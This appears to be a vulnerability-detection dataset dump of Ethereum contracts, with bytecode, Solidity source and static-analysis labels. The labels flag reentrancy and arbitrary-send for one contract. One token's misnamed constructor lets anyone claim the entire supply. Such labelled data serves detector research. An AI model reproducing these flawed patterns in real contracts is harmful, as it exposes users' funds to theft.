578384fd5b8135818111156118af576118af611b3c565b8060051b604051601f19603f830116810181811085821117156118d4576118d4611b3c565b604052828152858101935084860182860187018a10156118f2578788fd5b8795505b8386101561191b576119078161177b565b8552600195909501949386019386016118f6565b5098975050505050505050565b600060208284031215611939578081fd5b813561111081611b67565b600060208284031215611955578081fd5b815161111081611b67565b600060208284031215611971578081fd5b5035919050565b60008060006060848603121561198c578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156119d1578581018301518582016040015282016119b5565b818111156119e25783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a7c5784516001600160a01b031683529383019391830191600101611a57565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ab057611ab0611b26565b500190565b600082611ad057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611aef57611aef611b26565b500290565b600082821015611b0657611b06611b26565b500390565b6000600019821415611b1f57611b1f611b26565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104ef57600080fd5b80151581146104ef57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e842aa997bbf156afbbc4fdfde9a7b501f017e06ea0cacf6499f70c0e6c504c964736f6c63430008030033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,208
0xcf9888f290f245f6f595463f9b4cb09b09071ba5
pragma solidity ^0.4.21 ; contract RE_Portfolio_III_883 { mapping (address => uint256) public balanceOf; string public name = " RE_Portfolio_III_883 " ; string public symbol = " RE883III " ; uint8 public decimals = 18 ; uint256 public totalSupply = 1428500225823590000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender's balance balanceOf[to] += value; // add to recipient's balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } // } // Programme d'émission - Lignes 1 à 10 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RE_Portfolio_III_metadata_line_1_____ANV_Syndicates_Limited_20250515 > // < 7N6Dk8Gio8xncEOjU86Uh11II00P5puMq3Fc36i86mddphNuIBIYN1u7S7mYRC22 > // < 1E-018 limites [ 1E-018 ; 10463953,2355295 ] > // < 0x000000000000000000000000000000000000000000000000000000003E5EBBAF > // < RE_Portfolio_III_metadata_line_2_____ANV_Syndicates_Limited_20250515 > // < nbo4oQhdGFkzUwtbC65s53AIcjk8BE677J6872Sr3YBDz938pjo2K4MRHU4jTU29 > // < 1E-018 limites [ 10463953,2355295 ; 28638065,381621 ] > // < 0x0000000000000000000000000000000000000000000000003E5EBBAFAAB23A3E > // < RE_Portfolio_III_metadata_line_3_____ANV_Syndicates_Limited_20250515 > // < XV6v2q487c1c4O7hF1BvciLwL45c6hv7JMD72ALctXWuBfmSRuKx05lUcwcSPHDj > // < 1E-018 limites [ 28638065,381621 ; 43938346,0765835 ] > // < 0x00000000000000000000000000000000000000000000000AAB23A3E105E49A63 > // < RE_Portfolio_III_metadata_line_4_____ANV_Syndicates_Limited_20250515 > // < 4a183zPqOO1nTg3YG0zSt69Uz0W3v8Q80hW4T9oY47z7mH33JdXo4874WF84zcir > // < 1E-018 limites [ 43938346,0765835 ; 85458105,4915343 ] > // < 0x0000000000000000000000000000000000000000000000105E49A631FD5EBA69 > // < RE_Portfolio_III_metadata_line_5_____ANV_Syndicates_Limited_20250515 > // < LCQZr9IBe7bOhNXvsM14B8uyjXqVOhbgrV92LN4D9E3rXeegVre9pMU2w2S7ams1 > // < 1E-018 limites [ 85458105,4915343 ; 96433837,1604093 ] > // < 0x00000000000000000000000000000000000000000000001FD5EBA6923ECA5D98 > // < RE_Portfolio_III_metadata_line_6_____Aon_20250515 > // < kqy3XBkLGp2E6f3YzuMPm5Fsj2Z3ShebHjsk88L3Z2Wfzl6IZu0I3f4A94snERB3 > // < 1E-018 limites [ 96433837,1604093 ; 112019961,47251 ] > // < 0x000000000000000000000000000000000000000000000023ECA5D9829BB0E767 > // < RE_Portfolio_III_metadata_line_7_____Aon_20250515 > // < 2ahuAkXqEH62rCeS1FpWVJa3Vjlmb55fzx7iS35wpaPfnudvwl69BBE9k3fsI6pi > // < 1E-018 limites [ 112019961,47251 ; 145922665,927234 ] > // < 0x000000000000000000000000000000000000000000000029BB0E767365C45354 > // < RE_Portfolio_III_metadata_line_8_____Apollo_Syndicate_Management_Limited_20250515 > // < 5YXy8Vbn0pg4023N37zzA6ILG56Q5o14ldgH5EKU7NIchAzUjFmCPC0FJd3H4ATA > // < 1E-018 limites [ 145922665,927234 ; 159786968,037229 ] > // < 0x0000000000000000000000000000000000000000000000365C453543B8679257 > // < RE_Portfolio_III_metadata_line_9_____Apollo_Syndicate_Management_Limited_20250515 > // < UPkDPODz4MH84pxD2d14Mj69hE5933rniI2FZ70v77s4447iJ8cuPAAm9TeMUrlF > // < 1E-018 limites [ 159786968,037229 ; 228331531,58341 ] > // < 0x00000000000000000000000000000000000000000000003B8679257550F6467A > // < RE_Portfolio_III_metadata_line_10_____Apollo_Syndicate_Management_Limited_20250515 > // < c8UPHsc3E90OCtAYzSrY05mh0mJ01OGl731DqbzMG98Il8yj9gW90xmNQ94E3w08 > // < 1E-018 limites [ 228331531,58341 ; 276044721,837841 ] > // < 0x0000000000000000000000000000000000000000000000550F6467A66D5AD36B > // Programme d'émission - Lignes 11 à 20 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RE_Portfolio_III_metadata_line_11_____Applied_Insurance_Research_20250515 > // < g6K6qjv40hKUQyt9p9lBsMkpiq0PwX1bvPIyn6N3E7TWdtmR03E5u3d7U9fmUsJi > // < 1E-018 limites [ 276044721,837841 ; 337326932,494631 ] > // < 0x000000000000000000000000000000000000000000000066D5AD36B7DAA00EF5 > // < RE_Portfolio_III_metadata_line_12_____Applied_Insurance_Research_20250515 > // < 42HRRiPC0Dx5iSL9gWuAirUAE4A0Je29OcourgzWy9bCOo65620ov4C39r2d7WdE > // < 1E-018 limites [ 337326932,494631 ; 371203835,410037 ] > // < 0x00000000000000000000000000000000000000000000007DAA00EF58A48C1C29 > // < RE_Portfolio_III_metadata_line_13_____Arab_Insurance_Group___ARIG___m_Bpp_20250515 > // < 10NM84q1670n21bK82K9MP71n3FW1KSKw9EH8kpK0eRlfsFY5oQSqBvf4813bIc3 > // < 1E-018 limites [ 371203835,410037 ; 396159335,174049 ] > // < 0x00000000000000000000000000000000000000000000008A48C1C299394B2E41 > // < RE_Portfolio_III_metadata_line_14_____Arab_Insurance_Group___ARIG___m_Bpp_20250515 > // < HBiSqP8v3guclVL7e7QVD5mm1Ak9eb9V75bcEnGa897gfB2BK50Kv01hOSL3yaQw > // < 1E-018 limites [ 396159335,174049 ; 418274267,871409 ] > // < 0x00000000000000000000000000000000000000000000009394B2E419BD1BE3D7 > // < RE_Portfolio_III_metadata_line_15_____Arab_Reinsurance_Company_20250515 > // < 57Lobqn3rNyOLk1ez5fZxw15SZplJBv6Tl46p7y92pHNe9fzI3b1xUfL7gB4X6Y0 > // < 1E-018 limites [ 418274267,871409 ; 449471538,13906 ] > // < 0x00000000000000000000000000000000000000000000009BD1BE3D7A770F2589 > // < RE_Portfolio_III_metadata_line_16_____Arab_Reinsurance_Company_20250515 > // < 66d7FA8SR7H9r4tm7io5YD8t6uGiE06K11gYH2bzQ773J9RZcHssKzLhq4LT5Irs > // < 1E-018 limites [ 449471538,13906 ; 526891354,690947 ] > // < 0x0000000000000000000000000000000000000000000000A770F2589C44846961 > // < RE_Portfolio_III_metadata_line_17_____Arch_Capital_Group_Limited_20250515 > // < 4MC2JPkO5UhW0ohNg5LYQ8ZvWUD9vqi3W6CFTCAP5881NGeIUgBqP0DIL6iZRt3L > // < 1E-018 limites [ 526891354,690947 ; 543746402,677441 ] > // < 0x0000000000000000000000000000000000000000000000C44846961CA8FB2C7F > // < RE_Portfolio_III_metadata_line_18_____Arch_Insurance_Co__Europe__Limited_Ap_Ap_20250515 > // < bCZZBsPc2ZfslYwJkUGL2Glp6qjoJo8V6t6wjTCrC7MMyoqDq1L6wQjPIf21orm1 > // < 1E-018 limites [ 543746402,677441 ; 557500027,866389 ] > // < 0x0000000000000000000000000000000000000000000000CA8FB2C7FCFAF58A56 > // < RE_Portfolio_III_metadata_line_19_____Arch_Re_Ap_Ap_20250515 > // < sf0UnuHn93zCWF97d1m1qF3XT8Hv8ejL7pKaV1K0vSnAn7uRI730QR5AeCeZdOR7 > // < 1E-018 limites [ 557500027,866389 ; 591344873,705104 ] > // < 0x0000000000000000000000000000000000000000000000CFAF58A56DC4B0AD3E > // < RE_Portfolio_III_metadata_line_20_____Arch_Underwriting_at_Lloyd_s_Limited_20250515 > // < 7PC71jged0eJzSi2sf85y5pvY44I27ks2r2vnN1ZI32c1y6Yz7O6f92uOoS30nkj > // < 1E-018 limites [ 591344873,705104 ; 602495811,294365 ] > // < 0x0000000000000000000000000000000000000000000000DC4B0AD3EE0727A83D > // Programme d'émission - Lignes 21 à 30 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RE_Portfolio_III_metadata_line_21_____Arch_Underwriting_at_Lloyd_s_Limited_20250515 > // < Ev7k356sA0k7OcaKvtmFnLG5TfNOE993V51i2Gt4sQi61JGr1a9Jgw8O0gxlw6AP > // < 1E-018 limites [ 602495811,294365 ; 621583020,855492 ] > // < 0x0000000000000000000000000000000000000000000000E0727A83DE78EC6D79 > // < RE_Portfolio_III_metadata_line_22_____ARDAF_Insurance_Reinsurance_20250515 > // < 3ug4QW2p5182G6V26DF8PeEnMtPUg78M9IxcLtXn8N9f2X525d2CDM0xj73QT0or > // < 1E-018 limites [ 621583020,855492 ; 694894265,326738 ] > // < 0x000000000000000000000000000000000000000000000E78EC6D79102DE48258 > // < RE_Portfolio_III_metadata_line_23_____ARDAF_Insurance_Reinsurance_20250515 > // < u69u9LK7m9Bs3K8gbT01XEJd2vqbWt8eE2By2k3yRTr7RaC514Ul6os4FFxTdRtf > // < 1E-018 limites [ 694894265,326738 ; 768158672,301927 ] > // < 0x00000000000000000000000000000000000000000000102DE4825811E2951F52 > // < RE_Portfolio_III_metadata_line_24_____Argenta_Syndicate_Management_Limited_20250515 > // < C8w9smg406552BYuZcwe9L1n75Y0dEN2L4ItHGZ7no0Vv216991KOH0QvICnc1aT > // < 1E-018 limites [ 768158672,301927 ; 797316207,671731 ] > // < 0x0000000000000000000000000000000000000000000011E2951F5212905FFD93 > // < RE_Portfolio_III_metadata_line_25_____Argenta_Syndicate_Management_Limited_20250515 > // < vyBX7ps63JuQ5F4A64FfCX00UDr80654X5iLMtP90HGVy1Uy2gjOV8ND32vSTS3Z > // < 1E-018 limites [ 797316207,671731 ; 818134317,195205 ] > // < 0x0000000000000000000000000000000000000000000012905FFD93130C75E79B > // < RE_Portfolio_III_metadata_line_26_____Argenta_Syndicate_Management_Limited_20250515 > // < Jh8x2qlgHLPv9vWelF2XA3y579VtUq3lf1AXB44011HceYymJCiw0jqDp9zMxe9k > // < 1E-018 limites [ 818134317,195205 ; 886687234,532951 ] > // < 0x00000000000000000000000000000000000000000000130C75E79B14A5115AF1 > // < RE_Portfolio_III_metadata_line_27_____Argenta_Syndicate_Management_Limited_20250515 > // < HQrDeJYRbXDZCuKCvNKpEv4v8u2FUFxC2bd0RYn06drp4v6w6tjhpbE3J59FUvDA > // < 1E-018 limites [ 886687234,532951 ; 913940297,46038 ] > // < 0x0000000000000000000000000000000000000000000014A5115AF11547823AA6 > // < RE_Portfolio_III_metadata_line_28_____Argenta_Syndicate_Management_Limited_20250515 > // < J3IV0Ol36067gCFCfwdd1hwIrJEHH0VRwW1NbnNw3W5ijvG68uvn9Ga4Btlj5ksp > // < 1E-018 limites [ 913940297,46038 ; 952946516,39597 ] > // < 0x000000000000000000000000000000000000000000001547823AA6163000FEEB > // < RE_Portfolio_III_metadata_line_29_____Argo_Group_20250515 > // < t76lq12xousmR1r12y5l08DrI94577J1243KT26t5b4eA16W5ZI49n77gK8jfr1f > // < 1E-018 limites [ 952946516,39597 ; 983798390,983051 ] > // < 0x00000000000000000000000000000000000000000000163000FEEB16E7E5386E > // < RE_Portfolio_III_metadata_line_30_____Argo_Group_20250515 > // < Eb1Y1dr9mVntdpg4PP596g3FX6eIXKJnflcp24543hOfOIQ5J7rwRnSezPyW7W8M > // < 1E-018 limites [ 983798390,983051 ; 1003707831,53188 ] > // < 0x0000000000000000000000000000000000000000000016E7E5386E175E909DA5 > // Programme d'émission - Lignes 31 à 40 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RE_Portfolio_III_metadata_line_31_____Argo_Managing_Agency_Limited_20250515 > // < 52f1BD52Yp3217Hfxjm8r2IYUKv7isWMZ0WO69n8qK890uBlNorNmC6WnYv2oU8k > // < 1E-018 limites [ 1003707831,53188 ; 1082977078,00083 ] > // < 0x00000000000000000000000000000000000000000000175E909DA519370BE30C > // < RE_Portfolio_III_metadata_line_32_____Argo_Managing_Agency_Limited_20250515 > // < xc48kg1d5D7WN9m3Koo3nB34Yan50ozU820s7xne1pW67cqGEYI6ed2me0L59Ao1 > // < 1E-018 limites [ 1082977078,00083 ; 1096814000,41496 ] > // < 0x0000000000000000000000000000000000000000000019370BE30C1989855ADD > // < RE_Portfolio_III_metadata_line_33_____Argo_Managing_Agency_Limited_20250515 > // < alo8qHM7WJRuuvUX2fafD0mCZw09r5mk7m8Ou49rM7YMO61R52L8oHbk2GRG6h6Z > // < 1E-018 limites [ 1096814000,41496 ; 1129321741,74424 ] > // < 0x000000000000000000000000000000000000000000001989855ADD1A4B483B52 > // < RE_Portfolio_III_metadata_line_34_____Argo_Managing_Agency_Limited_20250515 > // < foG0k01Kc1Y3p3zZLz1I4IwFs217JGgIV2Goa7dlw9M8U6H6v7i78o26O514Yq30 > // < 1E-018 limites [ 1129321741,74424 ; 1166709573,14631 ] > // < 0x000000000000000000000000000000000000000000001A4B483B521B2A2188F6 > // < RE_Portfolio_III_metadata_line_35_____Argo_Managing_Agency_Limited_20250515 > // < 0e9UKluyPFJJw6mP4x58o32vhpG8wBhIuC9T0B79827YJ88dp48v0sgu22zt6VJ4 > // < 1E-018 limites [ 1166709573,14631 ; 1206307260,38694 ] > // < 0x000000000000000000000000000000000000000000001B2A2188F61C1626CF8A > // < RE_Portfolio_III_metadata_line_36_____Argo_Managing_Agency_Limited_20250515 > // < l1es6lnp8T39ZGKPir1gQl6C76ijMR9pmHD75GW0zwK1b6rr1o23124N6bww0b81 > // < 1E-018 limites [ 1206307260,38694 ; ] > // < 0x000000000000000000000000000000000000000000001C1626CF8A1CC15D1BF3 > // < RE_Portfolio_III_metadata_line_37_____Argo_Managing_Agency_Limited_20250515 > // < uolxrKbwmd68mp4O4N8zikmZ9vS0w465HuxFz2yAqwMA316aRX8U2Pxj7d1hP372 > // < 1E-018 limites [ 1235031884,79536 ; 1297786088,4799 ] > // < 0x000000000000000000000000000000000000000000001CC15D1BF31E37686CC3 > // < RE_Portfolio_III_metadata_line_38_____Argo_Re_A_20250515 > // < E2Ai7Hzu521HCzc72Owo1Czmm4w2K49r3tBvs2tAn7TusxX9HK9TCheg36dNSlpS > // < 1E-018 limites [ 1297786088,4799 ; 1356690476,39651 ] > // < 0x000000000000000000000000000000000000000000001E37686CC31F9681634B > // < RE_Portfolio_III_metadata_line_39_____Ariel_Holdings_Limited_20250515 > // < o4oQ3hnehguFadXz9jlme9o9IFi49L5cbu1Q0xjzsg60d4KRtbu4v5NTV089253v > // < 1E-018 limites [ 1356690476,39651 ; 1413422403,06593 ] > // < 0x000000000000000000000000000000000000000000001F9681634B20E8A77026 > // < RE_Portfolio_III_metadata_line_40_____Ark_Syndicate_Management_Limited_20250515 > // < 7lVi6KD7A454148Yw40v71HaC8RFO72kJ702KIAn3PPLAhfPf9IW6X4Bv398POyk > // < 1E-018 limites [ 1413422403,06593 ; 1428500225,82359 ] > // < 0x0000000000000000000000000000000000000000000020E8A770262142865EAA > }
0x6080604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013957806318160ddd1461019e57806323b872dd146101c9578063313ce5671461024e57806370a082311461027f57806395d89b41146102d6578063a9059cbb14610366578063b5c8f317146103cb578063dd62ed3e146103e2575b600080fd5b3480156100b557600080fd5b506100be610459565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fe5780820151818401526020810190506100e3565b50505050905090810190601f16801561012b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014557600080fd5b50610184600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104f7565b604051808215151515815260200191505060405180910390f35b3480156101aa57600080fd5b506101b36105e9565b6040518082815260200191505060405180910390f35b3480156101d557600080fd5b50610234600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ef565b604051808215151515815260200191505060405180910390f35b34801561025a57600080fd5b5061026361085b565b604051808260ff1660ff16815260200191505060405180910390f35b34801561028b57600080fd5b506102c0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061086e565b6040518082815260200191505060405180910390f35b3480156102e257600080fd5b506102eb610886565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561032b578082015181840152602081019050610310565b50505050905090810190601f1680156103585780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561037257600080fd5b506103b1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610924565b604051808215151515815260200191505060405180910390f35b3480156103d757600080fd5b506103e0610a7a565b005b3480156103ee57600080fd5b50610443600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b29565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ef5780601f106104c4576101008083540402835291602001916104ef565b820191906000526020600020905b8154815290600101906020018083116104d257829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561063e57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106c957600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561091c5780601f106108f15761010080835404028352916020019161091c565b820191906000526020600020905b8154815290600101906020018083116108ff57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561097357600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a723058204ff63e684bc131dd2df3d03a4a2394d1656919b9e5b4c3fee9b206c49f5926e30029
{"success": true, "error": null, "results": {}}
1,209
0x3516ca4cb19eccc401a9c0d13c7fdb6b73990979
pragma solidity 0.7.1; pragma experimental ABIEncoderV2; struct FullAbsoluteTokenAmount { AbsoluteTokenAmountMeta base; AbsoluteTokenAmountMeta[] underlying; } struct AbsoluteTokenAmountMeta { AbsoluteTokenAmount absoluteTokenAmount; ERC20Metadata erc20metadata; } struct ERC20Metadata { string name; string symbol; uint8 decimals; } struct AdapterBalance { bytes32 protocolAdapterName; AbsoluteTokenAmount[] absoluteTokenAmounts; } struct AbsoluteTokenAmount { address token; uint256 amount; } struct Component { address token; uint256 rate; } struct TransactionData { Action[] actions; TokenAmount[] inputs; Fee fee; AbsoluteTokenAmount[] requiredOutputs; uint256 nonce; } struct Action { bytes32 protocolAdapterName; ActionType actionType; TokenAmount[] tokenAmounts; bytes data; } struct TokenAmount { address token; uint256 amount; AmountType amountType; } struct Fee { uint256 share; address beneficiary; } enum ActionType { None, Deposit, Withdraw } enum AmountType { None, Relative, Absolute } abstract contract ProtocolAdapter { /** * @dev MUST return amount and type of the given token * locked on the protocol by the given account. */ function getBalance( address token, address account ) public view virtual returns (uint256); } abstract contract InteractiveAdapter is ProtocolAdapter { uint256 internal constant DELIMITER = 1e18; address internal constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /** * @dev The function must deposit assets to the protocol. * @return MUST return assets to be sent back to the `msg.sender`. */ function deposit( TokenAmount[] calldata tokenAmounts, bytes calldata data ) external payable virtual returns (address[] memory); /** * @dev The function must withdraw assets from the protocol. * @return MUST return assets to be sent back to the `msg.sender`. */ function withdraw( TokenAmount[] calldata tokenAmounts, bytes calldata data ) external payable virtual returns (address[] memory); function getAbsoluteAmountDeposit( TokenAmount calldata tokenAmount ) internal view virtual returns (uint256) { address token = tokenAmount.token; uint256 amount = tokenAmount.amount; AmountType amountType = tokenAmount.amountType; require( amountType == AmountType.Relative || amountType == AmountType.Absolute, "IA: bad amount type" ); if (amountType == AmountType.Relative) { require(amount <= DELIMITER, "IA: bad amount"); uint256 balance; if (token == ETH) { balance = address(this).balance; } else { balance = ERC20(token).balanceOf(address(this)); } if (amount == DELIMITER) { return balance; } else { return mul(balance, amount) / DELIMITER; } } else { return amount; } } function getAbsoluteAmountWithdraw( TokenAmount calldata tokenAmount ) internal view virtual returns (uint256) { address token = tokenAmount.token; uint256 amount = tokenAmount.amount; AmountType amountType = tokenAmount.amountType; require( amountType == AmountType.Relative || amountType == AmountType.Absolute, "IA: bad amount type" ); if (amountType == AmountType.Relative) { require(amount <= DELIMITER, "IA: bad amount"); uint256 balance = getBalance(token, address(this)); if (amount == DELIMITER) { return balance; } else { return mul(balance, amount) / DELIMITER; } } else { return amount; } } function mul( uint256 a, uint256 b ) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "IA: mul overflow"); return c; } } interface YVault { function deposit(uint256) external; function withdraw(uint256) external; function token() view external returns (address); } interface ERC20 { function approve(address, uint256) external returns (bool); function transfer(address, uint256) external returns (bool); function transferFrom(address, address, uint256) external returns (bool); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address) external view returns (uint256); function allowance(address, address) external view returns (uint256); } library SafeERC20 { function safeTransfer( ERC20 token, address to, uint256 value, string memory location ) internal { callOptionalReturn( token, abi.encodeWithSelector( token.transfer.selector, to, value ), "transfer", location ); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value, string memory location ) internal { callOptionalReturn( token, abi.encodeWithSelector( token.transferFrom.selector, from, to, value ), "transferFrom", location ); } function safeApprove( ERC20 token, address spender, uint256 value, string memory location ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: bad approve call" ); callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, value ), "approve", location ); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), * relaxing the requirement on the return value: the return value is optional * (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). * @param location Location of the call (for debug). */ function callOptionalReturn( ERC20 token, bytes memory data, string memory functionName, string memory location ) private { // We need to perform a low level call here, to bypass Solidity's return data size checking // mechanism, since we're implementing it ourselves. // We implement two-steps call as callee is a contract is a responsibility of a caller. // 1. The call itself is made, and success asserted // 2. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require( success, string( abi.encodePacked( "SafeERC20: ", functionName, " failed in ", location ) ) ); if (returndata.length > 0) { // Return data is optional require( abi.decode(returndata, (bool)), string( abi.encodePacked( "SafeERC20: ", functionName, " returned false in ", location ) ) ); } } } contract ERC20ProtocolAdapter is ProtocolAdapter { /** * @return Amount of tokens held by the given account. * @dev Implementation of ProtocolAdapter abstract contract function. */ function getBalance( address token, address account ) public view override returns (uint256) { return ERC20(token).balanceOf(account); } } contract YearnVaultsAssetInteractiveAdapter is InteractiveAdapter, ERC20ProtocolAdapter { using SafeERC20 for ERC20; /** * @notice Deposits tokens to the Yearn Vault. * @param tokenAmounts Array with one element - TokenAmount struct with * underlying token address, underlying token amount to be deposited, and amount type. * @param data ABI-encoded additional parameters: * - yVaultAddress - yVault address. * @return tokensToBeWithdrawn Array with ane element - yVault. * @dev Implementation of InteractiveAdapter function. */ function deposit( TokenAmount[] calldata tokenAmounts, bytes calldata data ) external payable override returns (address[] memory tokensToBeWithdrawn) { require(tokenAmounts.length == 1, "YVAIA: should be 1 tokenAmount[1]"); address yVaultAddress = abi.decode(data, (address)); address token = tokenAmounts[0].token; uint256 amount = getAbsoluteAmountDeposit(tokenAmounts[0]); tokensToBeWithdrawn = new address[](1); tokensToBeWithdrawn[0] = yVaultAddress; ERC20(token).safeApprove(yVaultAddress, amount, "YVAIA"); // solhint-disable-next-line no-empty-blocks try YVault(yVaultAddress).deposit(amount) { } catch Error(string memory reason) { revert(reason); } catch { revert("YVAIA: deposit fail"); } } /** * @notice Withdraws tokens from the Yearn Vault. * @param tokenAmounts Array with one element - TokenAmount struct with * yVault address, yVault amount to be redeemed, and amount type. * @return tokensToBeWithdrawn Array with one element - underlying token. * @dev Implementation of InteractiveAdapter function. */ function withdraw( TokenAmount[] calldata tokenAmounts, bytes calldata ) external payable override returns (address[] memory tokensToBeWithdrawn) { require(tokenAmounts.length == 1, "YVAIA: should be 1 tokenAmount[2]"); address token = tokenAmounts[0].token; uint256 amount = getAbsoluteAmountWithdraw(tokenAmounts[0]); tokensToBeWithdrawn = new address[](1); tokensToBeWithdrawn[0] = YVault(token).token(); // solhint-disable-next-line no-empty-blocks try YVault(token).withdraw(amount) { } catch Error(string memory reason) { revert(reason); } catch { revert("YVAIA: withdraw fail"); } } }
